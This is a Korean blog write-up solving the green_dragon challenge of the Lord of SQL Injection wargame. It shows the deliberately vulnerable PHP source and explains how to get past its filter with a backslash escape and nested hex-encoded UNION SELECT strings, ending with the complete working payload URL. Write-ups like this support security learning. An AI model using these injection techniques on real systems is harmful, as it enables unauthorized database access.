write-up/LOS write-up

LOS (Lord of SQL injection) 문제 25번 green_dragon write-up

정보보호학과 새내기 2021. 7. 12. 17:02
반응형
SMALL

문제 25번 - green_dragon

 

query : select id,pw from prob_green_dragon where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

일단 다른 문제들과 같이 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 prob와 _ , . , ' , "을 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다.

<?php
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
?>

 

clear 조건을 확인해보니 이중 조건문을 통해 첫번째 쿼리를 통과하고 두번째 쿼리를 만족시켜야 clear가 되는 것을 알 수 있다. 

<?php
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

 

첫 번째 쿼리를 만족시키기 위해 '을 우회해야하는데 \를 사용하여 우회할 수 있다.

그 후 union select 1,2%23을 사용하여 query2를 불러왔다.

1에 id값이 들어가므로 1대신 \를 넣어 '를 우회해야하는데 \는 넣을 수 없으므로 hex값으로 변환한 5c를 입력하였다.(hex 값 앞에는 hex값이라는 의미인 0x를 붙여서 써줌)

따라서 1 대신 0x5c를 입력하니 1 대신 \가 잘 들어가는 것을 볼 수 있다.

이후 2 대신 union select admin을 넣어주어야 하는데 이를 넣어주기 위해 admin을 아까 \처럼 hex값으로 변환시켜 넣어주어야 한다. 따라서 변환한 0x61646d696e을 대신 입력한다. 그럼 union select 0x61646d696e이 되는데 이를 또 hex값으로 변환시켜야 query2에 집어넣을 수 있으므로 0x756e696f6e2073656c65637420307836313634366436393665을 입력한다.

위 쿼리를 보니 주석처리가 안되어 클리어가 되지 않았다. 주석처리까지 하면 (%23대신 23을 붙여주면 된다.) 클리어가 되는 것을 볼 수 있다.

 

solve

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&&pw=union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

클리어 화면

반응형
LIST